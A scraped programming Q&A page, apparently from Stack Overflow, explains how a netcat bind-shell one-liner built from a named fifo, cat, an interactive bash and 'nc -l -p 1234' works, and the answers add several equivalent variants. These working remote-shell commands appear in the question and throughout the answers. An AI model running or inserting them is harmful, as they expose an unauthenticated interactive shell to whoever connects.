Home > other >  What is really happening in this bash code that creates a shell with netcat and pipes?
What is really happening in this bash code that creates a shell with netcat and pipes?

Time:03-06

mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 1234 > /tmp/f

I am new to bash, I am trying to understand this piece of "code".

  1. Why a while loop is not needed? How can this work? Is it itself a loop? Why? How? Also, cat filePipe by itself ONLY PRINTS ONE LINE, and then exits (I just tested it), and to make cat not to exit I do: while cat pipeFile ; do : ; done. So how does that above work?
  2. I don't get the order of execution... at the beginning /tmp/f is empty, so cat /tmp/f should "send" an empty stream to /bin/bash which just send it to nc which opens a connection and "sends" the interactive bash to whoever connects... and the response of the client is sent to /tmp/f ... and then? What? How can it can go back and do the same things again?

CodePudding user response:

/tmp/f is NOT empty, but a fifo, a bi-directional link.

enter image description here

Someone connects to port 1234, type something, which nc will forward to fifo which then feeds into bash.

bash runs the command and sends results back to nc.

CodePudding user response:

When bash parses the line mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 1234 > /tmp/f, several things happen. First, the fifo is created. Then, in no particular order, 3 things happen: cat is started, bash is started and nc is started with its output stream connected to /tmp/f. cat is now going to block until some other process opens /tmp/f for writing; the nc is about to do that (or already did it, but we don't know if cat will start before nc or if nc starts before cat, nor do we know in which order they will open the fifo, but whoever does it first will block until the other completes the operation). Once all 3 processes start, they will just sit there waiting for some data. Eventually, some external process connects to port 1234 and sends some data into nc, which writes into /tmp/f. cat (eventually) reads that data and sends it downstream to bash, which processes the input and (probably) writes some data into nc, which sends it back across the socket connection.

If you have a test case in which cat /tmp/f only writes one line of data, that is simply because whatever process you used to write into /tmp/f only wrote a single line. Try: printf 'foo\nbar\nbaz\n' > /tmp/f & cat /tmp/f or while sleep 1; do date; done > /tmp/f & cat /tmp/f

CodePudding user response:

.1 You misunderstand what happen when you echo "string" >/path/fifo

.a) When you just echo something >/path/to/somewhere, you

  • (test accessibility, then) open target somewhere for writting
  • write someting in openned file descriptor (fd)
  • close (relax) accessed file.

.b) A fifo (The First In is the First Out.) is not a file.

Try this:

# Window 1:

mkfifo /tmp/fifotest
cat /tmp/fifotest

# Window 2:

exec {fd2fifo}>/tmp/fifotest
echo >&$fd2fifo Foo bar

You will see cat not terminating.

echo >&$fd2fifo Baz
exec {fd2fifo}>&-

Now, cat will close

So there is no need of any loop!

.2 command cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 1234 > /tmp/f

could be written (avoid useless use of cat):

bash -i 2>&1 </tmp/f | nc -l -p 1234 > /tmp/f

but you could do same operation but from different point of vue:

nc -l -p 1234 </tmp/f | bash -i >/tmp/f 2>&1

The goal is

  • to drive bash's STDIN from nc's STDOUT and
  • connect back bash's STDOUT and STDERR to nc's STDIN.

.3 The more: bashism

Under , you could avoid creating fifo by using unnamed fifo:

coproc nc -l -p 1234; bash -i >&${COPROC[1]} 2>&1 <&${COPROC[0]}

or

exec {ncin}<> <(:); nc -l -p 1234 <&$ncin | bash -i >&$ncin 2>&1
  • Related